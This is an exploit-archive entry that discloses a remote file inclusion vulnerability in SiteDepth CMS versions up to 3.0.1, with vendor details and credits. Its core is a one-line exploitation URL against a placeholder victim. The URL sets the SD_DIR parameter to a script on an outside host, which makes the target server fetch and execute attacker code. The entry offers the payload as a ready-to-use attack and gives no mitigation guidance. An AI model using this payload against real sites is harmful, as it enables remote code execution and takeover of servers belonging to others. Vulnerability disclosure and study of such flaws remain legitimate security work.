SiteDepth CMS <= 3.0.1 (SD_DIR) Remote File Include Vulnerability

2006-07-20T00:00:00
ID 1337DAY-ID-598
Type zdt
Reporter Aesthetico
Modified 2006-07-20T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =================================================================
SiteDepth CMS <= 3.0.1 (SD_DIR) Remote File Include Vulnerability
=================================================================


Title: SiteDepth CMS <= 3.0.1 - Remote File Include Vulnerability
------------------------------------------------------------------
Vendor: SiteDepth.com
URL: http://sitedepth.com
------------------------------------------------------------------
Credits:
Discovered by: "Aesthetico"
http://www.majorsecurity.de
------------------------------------------------------------------

Exploitation:
------------------------------------------------------------------
http://victim.com/constants.php?SD_DIR=http://www.yourspace.com/yourscript.php?



#  0day.today [2018-03-19]  #